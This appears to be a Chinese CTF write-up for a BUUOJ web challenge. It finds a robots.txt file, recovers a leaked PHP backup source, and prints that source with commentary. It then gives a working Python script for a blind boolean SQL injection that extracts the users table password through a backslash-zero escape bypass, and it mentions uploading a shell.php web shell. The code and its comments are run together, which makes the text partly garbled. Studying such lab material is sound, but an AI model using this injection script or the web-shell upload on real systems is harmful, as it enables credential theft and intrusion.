发现有robots.txt文本

Robot.txt介绍
robots协议也叫robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件,它通常告诉网络搜索引擎的漫游器(又称网络蜘蛛),此网站中的哪些内容是不应被搜索引擎的漫游器获取的,哪些是可以被漫游器获取的
User-agent: 这里的代表的所有的搜索引擎种类,*是一个通配符
Disallow: 禁止爬取
下载image.php.bak备份文件
//image.php.bak<?phpinclude "config.php";$id=isset($_GET["id"])?$_GET["id"]:"1"; 如果$_GET["id"]已经被设置了,有值了,则 $id=$_GET["id"] ,如果没有则 $id=1$path=isset($_GET["path"])?$_GET["path"]:""; 如果$_GET["path"]已经被设置了,有值了,则 $path=$_GET["path"] ,如果没有则 $path=$id=addslashes($id); 在每个双引号(")前添加反斜杠$path=addslashes($path); 在每个双引号(")前添加反斜杠$id=str_replace(array("\\0","%00","\\'","'"),"",$id); 如果$id中含有 array数组的内容 则替换成 ""$path=str_replace(array("\\0","%00","\\'","'"),"",$path); 如果$path中含有 array数组的内容 则替换成 ""$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'"); 执行MYSQL查询$row=mysqli_fetch_array($result,MYSQLI_ASSOC); 从$result的结果集中取得一行作为关联数组$path="./" . $row["path"];header("Content-Type: image/jpeg");readfile($path);?>
利用sql注入得到账号密码
import requestsurl = "http://d49b3dc4-c754-41a9-90fa-4b18749466a0.node4.buuoj.cn:81/image.php?id=\\0&path="payload = " or ascii(substr((select password from users),{},1))>{}%23"result = ''for i in range(1,100):high = 127low = 32mid = (low+high) // 2# print(mid)while(high>low):r = requests.get(url + payload.format(i,mid))# print(url + payload.format(i,mid))if 'JFIF' in r.text:low = mid + 1else:high = midmid = (low + high) // 2result += chr(mid)print(result)



">最后用短文件名绕过上传shell.php文件,成功解析上传的文件

